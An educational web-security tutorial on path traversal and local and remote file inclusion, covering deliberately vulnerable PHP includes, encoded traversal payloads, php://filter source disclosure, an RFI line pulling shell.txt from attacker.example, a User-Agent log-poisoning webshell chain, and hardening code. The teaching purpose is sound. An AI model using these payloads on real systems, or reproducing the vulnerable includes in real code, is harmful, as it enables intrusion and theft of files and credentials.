By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

File Inclusion and Path Traversal

File inclusion and path traversal vulnerabilities happen when an application uses user-controlled input to decide which file to read, include, render, or download. A small path-handling mistake can expose source code, configuration files, credentials, logs, or in some cases lead to remote code execution.

What You'll Learn

  • How path traversal differs from file inclusion
  • How Local File Inclusion (LFI) and Remote File Inclusion (RFI) work
  • Common payload patterns and bypasses
  • How attackers chain LFI into code execution
  • How to test safely during authorised assessments
  • How to prevent these bugs in modern applications

The Core Problem

Applications often need to load files:

  • Downloading invoices or reports
  • Rendering templates
  • Loading language files
  • Serving images
  • Including page fragments

The risk appears when the file name or path comes directly from the request.

<?php
$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");
?>

Normal use:

https://example.com/index.php?page=home

Attack:

https://example.com/index.php?page=../../../../etc/passwd

The application intended to load home.php. The attacker tries to walk out of the expected directory and read a system file instead.

Path Traversal

Path traversal, also called directory traversal, is the act of escaping the intended directory using sequences such as ../ or encoded variants.

Common payloads:

../../../../etc/passwd
..\..\..\..\windows\win.ini
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2fetc%2fpasswd

Typical Linux targets:

/etc/passwd
/etc/hosts
/proc/self/environ
/var/www/html/config.php
/var/log/apache2/access.log
/home/user/.ssh/id_rsa

Typical Windows targets:

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

Local File Inclusion

Local File Inclusion happens when the application includes a file from the local server based on user input.

<?php
include($_GET['template']);
?>

An attacker may be able to include:

../../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php
../../../../var/log/apache2/access.log

LFI impact depends on context. Reading /etc/passwd is information disclosure. Reading application source can expose credentials. Including a poisoned log file or session file can become code execution in some stacks.

Remote File Inclusion

Remote File Inclusion happens when the application allows a remote URL to be included.

https://example.com/index.php?page=https://attacker.example/shell.txt

RFI is most associated with older PHP applications where allow_url_include is enabled. Many modern configurations disable this, but it still appears in legacy systems and poorly controlled hosting environments.

Prevention starts with configuration:

allow_url_include = Off

Disable allow_url_fopen too if the application does not need URL-aware file operations.

Bypass Techniques

URL Encoding

../          -> %2e%2e%2f
..\          -> %2e%2e%5c
../../       -> %2e%2e%2f%2e%2e%2f

Double Encoding

../          -> %252e%252e%252f

This can bypass weak filters that decode input after validation.

Mixed Separators

..\
../
..%5c
..%2f

Windows and some frameworks accept multiple separator styles.

PHP Filters

The php://filter wrapper can expose source code as base64 instead of executing it.

php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../config.php

Null Bytes

Null byte bypasses such as %00 affected older PHP versions. Treat them as legacy knowledge. They are still useful when reading old write-ups, but they should not be expected to work on supported PHP versions.

LFI to Code Execution

LFI becomes more serious when the attacker can control content in a local file and then include it.

Common chains:

  • Web log poisoning
  • SSH authentication log poisoning
  • Mail log poisoning
  • Session file inclusion
  • Uploaded file inclusion
  • Temporary file inclusion

Example concept:

# Put a payload into the web access log via the User-Agent header
curl -A "<?php system(\$_GET['cmd']); ?>" https://example.com/

# Include the log through the vulnerable parameter
https://example.com/view.php?page=../../../../var/log/apache2/access.log&cmd=id

Only test chains like this in a lab or explicitly authorised assessment. They can modify logs and trigger security monitoring.

Manual Testing Checklist

Start with safe read-only checks:

?file=../../../../etc/passwd
?file=..\..\..\..\windows\win.ini
?page=php://filter/convert.base64-encode/resource=index.php
?download=../../../../var/www/html/config.php

Then vary:

  • Traversal depth
  • Slash direction
  • URL encoding
  • Double encoding
  • File extensions
  • Absolute paths
  • Known framework paths

Document:

  • The vulnerable parameter
  • The payload used
  • The file reached
  • The impact
  • Whether authentication was required
  • Whether the issue is read-only or executable

Prevention

Use Identifiers, Not Paths

Do not let the user submit file paths. Map known identifiers to known files.

<?php
$pages = [
    'home' => '/var/www/pages/home.php',
    'about' => '/var/www/pages/about.php',
    'contact' => '/var/www/pages/contact.php',
];

$page = $_GET['page'] ?? 'home';

if (!array_key_exists($page, $pages)) {
    http_response_code(404);
    exit;
}

include $pages[$page];
?>

Resolve and Enforce a Base Directory

<?php
$base = realpath('/var/www/downloads');
$name = basename($_GET['file'] ?? '');
$path = realpath($base . DIRECTORY_SEPARATOR . $name);

if ($path === false || strncmp($path, $base, strlen($base)) !== 0) {
    http_response_code(403);
    exit;
}

readfile($path);
?>

Avoid Dynamic Includes

Use framework routing, template loaders, and storage APIs instead of building file paths by hand.

Lock Down Runtime Configuration

allow_url_include = Off
open_basedir = /var/www/app:/var/www/downloads

Use open_basedir as defence-in-depth, not as the only protection.

Protect Sensitive Files

  • Keep secrets outside the web root
  • Store uploaded files outside executable directories
  • Disable directory listing
  • Prevent direct web access to logs, backups, and configuration files
  • Use least-privilege file permissions for the web server user

Quick Reference

Linux read test:
../../../../etc/passwd

Windows read test:
..\..\..\..\windows\win.ini

PHP source disclosure:
php://filter/convert.base64-encode/resource=index.php

Encoding:
%2e%2e%2f
%252e%252e%252f

Defence:
Use allowlists, map IDs to files, resolve real paths, enforce a base directory.

Resources

Next Steps

  1. Practise read-only traversal in legal labs
  2. Learn PHP wrappers and why they matter
  3. Review file download and template-loading code in your own apps
  4. Fix file handling with allowlists and real path checks
  5. Add regression tests for blocked traversal payloads

The safest file path is the one the user never controls directly.